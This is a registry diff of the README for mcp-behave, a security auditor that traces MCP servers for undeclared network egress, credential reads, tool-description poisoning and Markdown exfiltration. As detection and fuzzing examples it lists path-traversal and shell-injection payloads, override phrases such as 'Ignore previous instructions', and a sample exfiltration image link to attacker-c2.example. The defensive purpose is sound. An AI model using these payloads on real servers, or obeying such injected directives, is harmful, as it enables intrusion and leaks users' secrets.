mcp-behave 0.2.0 → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +242 -32
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -9,11 +9,11 @@
|
|
|
9
9
|
|
|
10
10
|
**Runtime behavioral auditor for MCP servers.** Runs an MCP server under
|
|
11
11
|
a runtime tracer (macOS dylib, Linux `LD_PRELOAD`, or `strace`), exercises
|
|
12
|
-
every tool / resource / prompt it advertises, and
|
|
13
|
-
|
|
14
|
-
|
|
12
|
+
every tool / resource / prompt it advertises, and audits both system-level activity
|
|
13
|
+
(network egress, sensitive file access, subprocess execution) and CSA threat vectors
|
|
14
|
+
(metadata prompt injection, covert Unicode channels, client-side Markdown exfiltration).
|
|
15
15
|
|
|
16
|
-
Static scanners read tool descriptions. `mcp-behave`
|
|
16
|
+
Static scanners only read tool descriptions. `mcp-behave` observes what servers actually execute and return.
|
|
17
17
|
|
|
18
18
|

|
|
19
19
|
|
|
@@ -23,20 +23,19 @@ Static scanners read tool descriptions. `mcp-behave` watches behavior.
|
|
|
23
23
|
|
|
24
24
|
## The idea in one contrast
|
|
25
25
|
|
|
26
|
-
|
|
27
|
-
**identical** tool:
|
|
26
|
+
Compare three bundled targets in `targets/`:
|
|
28
27
|
|
|
29
|
-
|
|
28
|
+
- `honest_server.py`: advertises a purely local note formatter and behaves honestly.
|
|
29
|
+
- `leaky_server.py`: advertises the exact same harmless note formatter, but secretly accesses SSH keys and phones home via network syscalls.
|
|
30
|
+
- `poisoned_server.py`: never makes network syscalls, but poisons its descriptions with covert zero-width spaces and prompt injection, and returns an external Markdown image link (``) to trigger client-side HTTP GET exfiltration when rendered in a chat UI.
|
|
30
31
|
|
|
31
|
-
|
|
32
|
+
| Target | Network Syscalls | File System Access | Metadata & Output Safety | Verdict |
|
|
33
|
+
| :--- | :--- | :--- | :--- | :--- |
|
|
34
|
+
| `honest_server` | none | none | clean | **0 (PASS)** |
|
|
35
|
+
| `leaky_server` | `93.184.216.34:80` | `~/.ssh/id_rsa` (canary) | clean | **2 HIGH** |
|
|
36
|
+
| `poisoned_server` | none | none | prompt injection & Markdown exfil | **3 HIGH** |
|
|
32
37
|
|
|
33
|
-
|
|
34
|
-
|-----------------|---------------------|----------------------------|----------|
|
|
35
|
-
| `honest_server` | none | none | **0** |
|
|
36
|
-
| `leaky_server` | `93.184.216.34:80` | `~/.ssh/id_rsa` (a canary) | **2 HIGH** |
|
|
37
|
-
|
|
38
|
-
The honest server producing **zero** findings matters as much as the leaky one
|
|
39
|
-
tripping two — false positives would kill credibility.
|
|
38
|
+
The honest server producing **zero** findings matters as much as detecting the malicious ones — false positives destroy trust.
|
|
40
39
|
|
|
41
40
|
## Install & Quickstart
|
|
42
41
|
|
|
@@ -79,6 +78,24 @@ mcp-behave --no-trace python -m mcp_server_fetch
|
|
|
79
78
|
# Machine-readable output for CI:
|
|
80
79
|
mcp-behave --json --fail-on high python -m mcp_server_fetch
|
|
81
80
|
|
|
81
|
+
# OASIS SARIF v2.1.0 output for GitHub Code Scanning:
|
|
82
|
+
mcp-behave --sarif python -m mcp_server_fetch > results.sarif
|
|
83
|
+
|
|
84
|
+
# Evaluate with objective CSA Security Scorecard & Letter Grade (A+ to F):
|
|
85
|
+
mcp-behave --scorecard python -m mcp_server_fetch
|
|
86
|
+
|
|
87
|
+
# Adversarial input fuzzing (path traversal, command injection, buffer boundary stress):
|
|
88
|
+
mcp-behave --fuzz python -m mcp_server_fetch
|
|
89
|
+
|
|
90
|
+
# Static manifest & schema linter (offline, no server execution):
|
|
91
|
+
mcp-behave lint ./manifest.json
|
|
92
|
+
cat ./tools.json | mcp-behave lint -
|
|
93
|
+
|
|
94
|
+
# Correlated Traffic & Syscall Inspector (real-time RPC-to-syscall timeline):
|
|
95
|
+
mcp-behave inspect python targets/leaky_server.py
|
|
96
|
+
# (or replay a previous audit output directory)
|
|
97
|
+
mcp-behave inspect /tmp/mcp_behave_out
|
|
98
|
+
|
|
82
99
|
# Connect to an already-running remote server (manifest analysis only,
|
|
83
100
|
# no syscall trace possible):
|
|
84
101
|
mcp-behave --transport sse http://localhost:8000/sse
|
|
@@ -91,7 +108,11 @@ Exit codes: `0` clean, `3` findings at or above `--fail-on` threshold,
|
|
|
91
108
|
|
|
92
109
|
- `--no-trace` — skip syscall tracing and run manifest analysis only.
|
|
93
110
|
- `--tracer {auto,preload,dylib,strace,none}` — choose tracer backend explicitly (default `auto`).
|
|
111
|
+
- `--scorecard` — print an objective 0–100 CSA Security Selection Scorecard with letter grade (`A+` to `F`).
|
|
112
|
+
- `--fuzz` — run adversarial input fuzzing against tool schemas (boundary mutations, path traversal, injection vectors).
|
|
113
|
+
- `--config PATH` — path to custom `.mcpbehaverc.json` configuration file.
|
|
94
114
|
- `--json` — emit findings as JSON on stdout.
|
|
115
|
+
- `--sarif` — emit findings as OASIS SARIF v2.1.0 on stdout (for GitHub Code Scanning / CI).
|
|
95
116
|
- `--fail-on {never,info,high}` — severity that triggers exit code 3 (default `high`).
|
|
96
117
|
- `--no-dns` — skip reverse-DNS lookups (faster, offline-safe).
|
|
97
118
|
- `--timeout SECONDS` — per-call timeout (default 15).
|
|
@@ -116,6 +137,7 @@ Exit codes: `0` clean, `3` findings at or above `--fail-on` threshold,
|
|
|
116
137
|
`mcp-behave` can run as an MCP server exposing behavioral security tools to AI agents:
|
|
117
138
|
- `audit_server`: Probes and dynamically audits another MCP server's behavioral footprint.
|
|
118
139
|
- `inspect_manifest`: Safely fetches and inspects advertised tools, resources, and prompts, and checks for rug-pulls.
|
|
140
|
+
- `scan_client_configs`: Scans local AI client configurations (Claude Desktop, Cursor, etc.) to discover installed MCP servers and audit their security posture.
|
|
119
141
|
|
|
120
142
|
```bash
|
|
121
143
|
# Start MCP server over stdio
|
|
@@ -156,6 +178,170 @@ Add to your `claude_desktop_config.json` or Cursor MCP settings:
|
|
|
156
178
|
|
|
157
179
|
`mcp-behave` is compatible with [Glama](https://glama.ai/mcp/servers) and includes a root `glama.json` manifest. AI models can invoke `audit_server` to verify untrusted third-party MCP servers before interacting with them.
|
|
158
180
|
|
|
181
|
+
## Scan Local Client Configurations (`scan-configs` & `audit-configs`)
|
|
182
|
+
|
|
183
|
+
`mcp-behave` can automatically discover and audit MCP servers configured in local AI clients (Claude Desktop, Cursor, VS Code / Cline / Roo Code, Windsurf, Zed):
|
|
184
|
+
|
|
185
|
+
```bash
|
|
186
|
+
# Discover configured servers & check for hardcoded secrets / over-privileged mounts:
|
|
187
|
+
mcp-behave scan-configs
|
|
188
|
+
|
|
189
|
+
# Scan a specific configuration file:
|
|
190
|
+
mcp-behave scan-configs --config path/to/claude_desktop_config.json
|
|
191
|
+
|
|
192
|
+
# Batch audit: discover all configured servers AND run live behavioral audits on each:
|
|
193
|
+
mcp-behave audit-configs
|
|
194
|
+
# (or: mcp-behave scan-configs --audit)
|
|
195
|
+
|
|
196
|
+
# Output findings in JSON for CI/automation:
|
|
197
|
+
mcp-behave scan-configs --json
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
### What `scan-configs` Checks:
|
|
201
|
+
1. **Plaintext Secrets & API Keys**: Scans environment variables and command arguments for OpenAI, Anthropic, GitHub, AWS, Slack, and generic high-entropy API tokens (with safe masking in reports).
|
|
202
|
+
2. **Over-Privileged Mounts**: Flags servers granted unrestricted access to the root filesystem (`/`) or home directory (`~`), or sensitive credential directories (`~/.ssh`, `~/.aws`).
|
|
203
|
+
3. **Shell Command Wrappers**: Detects servers executed via raw shell interpreters (`bash -c`, `sh -c`, `powershell -c`).
|
|
204
|
+
4. **Unpinned Packages**: Identifies `npx` / `uvx` servers without version pins that pull untracked latest updates.
|
|
205
|
+
5. **Live Behavioral Verification**: When `--audit` is passed (or via `audit-configs`), boots each server in isolation to verify actual system call behaviors (network egress, sensitive file reads, covert prompt injection).
|
|
206
|
+
|
|
207
|
+
## Correlated Traffic & Syscall Inspector (`mcp-behave inspect`)
|
|
208
|
+
|
|
209
|
+
Inspired by the [CSA MCP Security Inspection framework](https://modelcontextprotocol-security.io/audit/mcp-inspector.html), `mcp-behave inspect` runs an MCP server and displays a unified, chronological timeline connecting high-level JSON-RPC protocol messages directly to the underlying operating system syscalls they trigger:
|
|
210
|
+
|
|
211
|
+
```bash
|
|
212
|
+
# Run and inspect a server in real time:
|
|
213
|
+
mcp-behave inspect python targets/leaky_server.py
|
|
214
|
+
|
|
215
|
+
# Or replay and correlate a previous audit output directory:
|
|
216
|
+
mcp-behave inspect /tmp/mcp_behave_out
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
```text
|
|
220
|
+
======================================================================
|
|
221
|
+
MCP BEHAVIORAL INSPECTOR (Correlated Traffic & Syscall Stream)
|
|
222
|
+
======================================================================
|
|
223
|
+
Target Server: python targets/leaky_server.py
|
|
224
|
+
Syscall Trace: Active
|
|
225
|
+
Tools Exposed: 1 declared tool(s)
|
|
226
|
+
----------------------------------------------------------------------
|
|
227
|
+
|
|
228
|
+
[PHASE 1: INITIALIZATION & HANDSHAKE]
|
|
229
|
+
[RPC] -> initialize(protocolVersion="2024-11-05")
|
|
230
|
+
[RPC] <- initialized()
|
|
231
|
+
[RPC] -> tools/list() (1 tools returned)
|
|
232
|
+
|
|
233
|
+
[PHASE 2: CAPABILITY EXECUTION]
|
|
234
|
+
|
|
235
|
+
▶ tools/call "format_note"
|
|
236
|
+
[!] VIOLATION: file ~/.ssh/id_rsa
|
|
237
|
+
[!] VIOLATION: network 93.184.216.34:80
|
|
238
|
+
[RPC] <- response text: "# Note content"
|
|
239
|
+
|
|
240
|
+
======================================================================
|
|
241
|
+
VERDICT: POLICY FINDINGS DETECTED
|
|
242
|
+
[!] HIGH network egress to 93.184.216.34:80 -- but a description claims local/offline operation
|
|
243
|
+
[!] HIGH read a sensitive path: ~/.ssh/id_rsa
|
|
244
|
+
======================================================================
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
## CSA Security Selection Scorecard (`--scorecard`)
|
|
248
|
+
|
|
249
|
+
Provides an objective 0–100 numerical rating and letter grade (`A+` to `F`) based on the [Cloud Security Alliance (CSA) Selection Scorecard](https://modelcontextprotocol-security.io/):
|
|
250
|
+
|
|
251
|
+
- **Runtime Safety (40 pts)**: Penalizes undeclared network egress (-20 pts), sensitive filesystem credential reads (-20 pts), and unauthorized subprocess shells (-5 pts).
|
|
252
|
+
- **Metadata Hygiene (25 pts)**: Penalizes tool description prompt injection (-10 pts), zero-width covert Unicode (-10 pts), and terminal ANSI sequences (-10 pts).
|
|
253
|
+
- **Output Safety (20 pts)**: Penalizes client-side HTTP GET image exfiltration (-15 pts), output prompt injection (-10 pts), and output ANSI/covert channels (-5 pts).
|
|
254
|
+
- **Surface Integrity (15 pts)**: Penalizes silent manifest rug-pulls (-10 pts) and misleading local/offline claims (-5 pts).
|
|
255
|
+
|
|
256
|
+
```bash
|
|
257
|
+
mcp-behave --scorecard python targets/honest_server.py
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
```text
|
|
261
|
+
============================================================
|
|
262
|
+
MCP SECURITY SELECTION SCORECARD (CSA Standard)
|
|
263
|
+
============================================================
|
|
264
|
+
Overall Score: 95 / 100
|
|
265
|
+
Security Grade: [ A+ ] (PASSED)
|
|
266
|
+
------------------------------------------------------------
|
|
267
|
+
Category Breakdown:
|
|
268
|
+
• Runtime System Safety : 35 / 40 (-5 pts)
|
|
269
|
+
- -5 pts: Spawns child subprocess or system command shell
|
|
270
|
+
• Metadata Hygiene : 25 / 25 (Pass)
|
|
271
|
+
• Output Safety : 20 / 20 (Pass)
|
|
272
|
+
• Surface & Integrity : 15 / 15 (Pass)
|
|
273
|
+
============================================================
|
|
274
|
+
```
|
|
275
|
+
|
|
276
|
+
Scorecard metrics (`mcpSecurityScore`, `mcpSecurityGrade`, `mcpPassed`) are also automatically embedded into `--sarif` and `--json` outputs for automated CI gatekeeping.
|
|
277
|
+
|
|
278
|
+
## Adversarial Schema Fuzzing (`--fuzz`)
|
|
279
|
+
|
|
280
|
+
Instead of only synthesizing benign placeholder arguments, passing `--fuzz` automatically exercises tools against adversarial boundary vectors:
|
|
281
|
+
- **Path traversal strings**: `../../../../etc/passwd`, `..\..\..\..\Windows\win.ini`
|
|
282
|
+
- **Command & shell injection**: `; id;`, `| id`, `$(whoami)`, `` `id` ``
|
|
283
|
+
- **Format string & crash payloads**: `%s%s%s%s%s%s`, `\x00\x00\x00`
|
|
284
|
+
- **Buffer stress**: Long repeating strings (4KB boundary test)
|
|
285
|
+
- **Numeric & boolean boundary tests**: `0`, `-1`, `2147483647`, `1e308`, `NaN`, `true`, `false`
|
|
286
|
+
|
|
287
|
+
```bash
|
|
288
|
+
mcp-behave --fuzz python -m mcp_server_fetch
|
|
289
|
+
```
|
|
290
|
+
|
|
291
|
+
## Static Manifest Linter (`mcp-behave lint`)
|
|
292
|
+
|
|
293
|
+
Audit static MCP manifests, tool definitions, resources, and prompt definitions completely offline without executing or spawning any server process:
|
|
294
|
+
|
|
295
|
+
```bash
|
|
296
|
+
# Lint a manifest file:
|
|
297
|
+
mcp-behave lint path/to/manifest.json
|
|
298
|
+
|
|
299
|
+
# Lint a tools list or piped JSON stream:
|
|
300
|
+
cat tools.json | mcp-behave lint -
|
|
301
|
+
|
|
302
|
+
# Emit SARIF for pull request annotations or JSON for CI gatekeeping:
|
|
303
|
+
mcp-behave lint ./manifest.json --sarif > lint.sarif
|
|
304
|
+
mcp-behave lint ./manifest.json --json --scorecard
|
|
305
|
+
```
|
|
306
|
+
|
|
307
|
+
### Static Checks Performed:
|
|
308
|
+
- **Auto-Approval Bypass (`readOnlyHint` Mismatch)**: Flags mutating tools (`delete`, `write`, `update`, `drop`) advertising `readOnlyHint: true`, which would cause AI clients (Claude Desktop, Cursor) to auto-approve state modifications without human confirmation.
|
|
309
|
+
- **Destructive Actions Missing Confirmation**: Flags destructive tools that omit confirmation guardrails (`confirm`, `force`, `dry_run`).
|
|
310
|
+
- **Unconstrained Path Traversal Arguments**: Flags `path`/`file` parameters missing regex `pattern` or `enum` boundaries.
|
|
311
|
+
- **SSRF-Prone URL Arguments**: Flags `url`/`webhook` parameters accepting caller-controlled endpoints without allowlists or schema constraints.
|
|
312
|
+
- **Hardcoded Schema Credentials**: Scans parameter `default`, `const`, and `examples` for live API tokens (`sk-`, `ghp_`, `AKIA`, private keys).
|
|
313
|
+
- **Sensitive Resource URIs**: Identifies resource URIs surfacing credentials or sensitive paths (`.env`, `id_rsa`, `/etc/shadow`, `.kube/config`).
|
|
314
|
+
- **Duplicate Tool Names (Shadowing)**: Detects colliding tool names that allow malicious tools to shadow trusted ones.
|
|
315
|
+
- **Cross-Tool Chaining Directives**: Catches orchestration directives in tool descriptions that instruct the model to execute other tools.
|
|
316
|
+
- **Covert Channels & Injection Directives**: Scans all names, descriptions, and metadata for ANSI escapes, zero-width Unicode, and prompt injection patterns.
|
|
317
|
+
|
|
318
|
+
## Configuration & Policy Suppression (`.mcpbehaverc.json`)
|
|
319
|
+
|
|
320
|
+
Drop a `.mcpbehaverc.json` (or `.mcpbehaverc`) in your project root to customize rule enforcement, suppress known exceptions, or override finding severities:
|
|
321
|
+
|
|
322
|
+
```json
|
|
323
|
+
{
|
|
324
|
+
"fail_on": "high",
|
|
325
|
+
"disabled_rules": ["MCP014", "additionalProperties"],
|
|
326
|
+
"severity_overrides": {
|
|
327
|
+
"spawned subprocess": "HIGH",
|
|
328
|
+
"network egress": "INFO"
|
|
329
|
+
},
|
|
330
|
+
"ignore": [
|
|
331
|
+
"legacy_tool_name",
|
|
332
|
+
"fetch_url.note"
|
|
333
|
+
],
|
|
334
|
+
"timeout": 20.0,
|
|
335
|
+
"no_dns": false
|
|
336
|
+
}
|
|
337
|
+
```
|
|
338
|
+
|
|
339
|
+
You can also pass an explicit configuration file via the `--config <path>` flag across both live auditing and static linting:
|
|
340
|
+
```bash
|
|
341
|
+
mcp-behave --config ./security-policy.json python -m mcp_server_fetch
|
|
342
|
+
mcp-behave lint ./manifest.json --config .mcpbehaverc.json
|
|
343
|
+
```
|
|
344
|
+
|
|
159
345
|
## Push results to a dashboard
|
|
160
346
|
|
|
161
347
|
`mcp-behave push` uploads a JSON audit result to an
|
|
@@ -189,25 +375,49 @@ and prints the response body to stderr.
|
|
|
189
375
|
|
|
190
376
|
## What it detects
|
|
191
377
|
|
|
192
|
-
- **Undeclared network egress** — IP:port destinations reached during tool calls
|
|
193
|
-
(reverse-DNS resolved in findings when available).
|
|
194
|
-
- **Sensitive-path reads** — `~/.ssh/*`, `~/.aws/*`, `~/.env`, `~/.netrc`, etc.
|
|
195
|
-
- **Rug-pull** — the declared manifest hash changes between runs of the same
|
|
196
|
-
server (e.g. a tool's description silently changes after the user trusts it).
|
|
197
|
-
Hashes persist under `$XDG_DATA_HOME/mcp-behave/manifests/`.
|
|
198
|
-
- **Covert Channel & Metadata Injection** (CSA TTP: Tool Description Poisoning) — ANSI
|
|
199
|
-
terminal escape codes (`\x1b`), invisible zero-width Unicode (`\u200B`, `\u200C`,
|
|
200
|
-
`\u200D`, `\uFEFF`, `\u2060`), BiDi overrides (`\u202A`–`\u202E`, `\u2066`–`\u2069`),
|
|
201
|
-
Unicode tag characters, and prompt injection directive patterns (`Ignore previous instructions`,
|
|
202
|
-
`SYSTEM PROMPT:`, `<system>`, etc.) embedded in tool/parameter descriptions, resource URIs,
|
|
203
|
-
or prompt metadata.
|
|
204
|
-
- **Tool Output Safety & Markdown Exfiltration** (CSA TTP: Output Prompt Injection / Data Exfiltration) —
|
|
205
|
-
captures runtime tool responses during probe execution and flags client-side HTTP GET
|
|
206
|
-
exfiltration vectors (such as external Markdown images `` and HTML `<img src="...">` tags),
|
|
207
|
-
as well as ANSI escapes, invisible Unicode, and prompt injection payloads returned in tool outputs.
|
|
208
|
-
|
|
209
378
|
Findings are framed as observations ("does X, undeclared"), never accusations.
|
|
210
379
|
|
|
380
|
+
### 1. System-Level Behavioral Deviations (Runtime Traced)
|
|
381
|
+
- **Undeclared network egress** — IP:port socket connections opened during probe execution (reverse-DNS resolved in findings when available). Flagged `HIGH` if manifest claims local/offline operation, `INFO` otherwise.
|
|
382
|
+
- **Sensitive-path reads** — accesses to private credentials, keys, and environment files (`~/.ssh/*`, `~/.aws/*`, `~/.env`, `~/.netrc`, `~/.kube/*`, `/etc/shadow`, etc.). Flagged `HIGH`.
|
|
383
|
+
- **Subprocess execution** — child binaries spawned by the server process (e.g., `/bin/sh`, `curl`, `python`). Flagged `INFO`.
|
|
384
|
+
|
|
385
|
+
### 2. Manifest Integrity & Rug-Pull Detection
|
|
386
|
+
- **Rug-pull alerts** — detects if the declared manifest hash (`tools`, `resources`, `prompts`) silently changes between runs of the same server (e.g., modifying descriptions after user approval). Flagged `HIGH`. Hashes persist under `$XDG_DATA_HOME/mcp-behave/manifests/`.
|
|
387
|
+
|
|
388
|
+
### 3. CSA MCP Working Group Threat Catalog (TTPs)
|
|
389
|
+
- **Covert Channel & Metadata Injection** (CSA TTP: Tool Description Poisoning) — scans tool names, tool/parameter descriptions, resource URIs, and prompt metadata for:
|
|
390
|
+
- ANSI terminal escape sequences (`\x1b[...]`, `\033[...]`) used for terminal/display manipulation.
|
|
391
|
+
- Invisible & zero-width Unicode characters (`\u200B`, `\u200C`, `\u200D`, `\uFEFF`, `\u2060`), BiDi direction overrides (`\u202A`–`\u202E`, `\u2066`–`\u2069`), and Unicode tag characters (`0xE0000`–`0xE007F`).
|
|
392
|
+
- Direct prompt injection patterns (e.g., `Ignore previous instructions`, `SYSTEM PROMPT:`, `<system>`, `[system instruction]`, `you must always call this tool first`).
|
|
393
|
+
- **Tool Output Safety & Markdown Exfiltration** (CSA TTP: Output Prompt Injection / Data Exfiltration) — exercises tools and audits response payloads for:
|
|
394
|
+
- External Markdown images (``) and HTML `<img src="...">` tags that trigger silent client-side HTTP GET data exfiltration when rendered in chat interfaces.
|
|
395
|
+
- Covert ANSI sequences, invisible Unicode payloads, and prompt injection directives embedded in tool response text.
|
|
396
|
+
|
|
397
|
+
### Example Output
|
|
398
|
+
|
|
399
|
+
```bash
|
|
400
|
+
mcp-behave python targets/poisoned_server.py
|
|
401
|
+
```
|
|
402
|
+
|
|
403
|
+
```text
|
|
404
|
+
=== STEP 1: observe (macos-dylib) ===
|
|
405
|
+
[probe] discovered 1 tool(s)
|
|
406
|
+
[probe] calling tool notes_analyzer({"note": "canary-input"})
|
|
407
|
+
[probe] manifest -> /tmp/mcp_behave_out/manifest.json
|
|
408
|
+
[probe] trace -> /tmp/mcp_behave_out/trace.log
|
|
409
|
+
=== STEP 2: declared-vs-observed diff ===
|
|
410
|
+
|
|
411
|
+
target tools: notes_analyzer
|
|
412
|
+
resources: 0, prompts: 0
|
|
413
|
+
declared scope hints: none
|
|
414
|
+
--------------------------------------------------------
|
|
415
|
+
[!] HIGH invisible/zero-width Unicode or BiDi override detected in tool 'notes_analyzer' description (zero-width space): covert prompt injection risk
|
|
416
|
+
[!] HIGH prompt injection pattern detected in tool 'notes_analyzer' description: 'Ignore previous instructions'
|
|
417
|
+
[!] HIGH tool 'notes_analyzer' returned external image link 'https://attacker-c2.example/exfiltrate?leak=secret_token_12345' -- potential client-side data exfiltration
|
|
418
|
+
[i] INFO spawned subprocess: /path/to/python
|
|
419
|
+
```
|
|
420
|
+
|
|
211
421
|
## Docker (works on macOS / Windows hosts)
|
|
212
422
|
|
|
213
423
|
```bash
|
package/package.json
CHANGED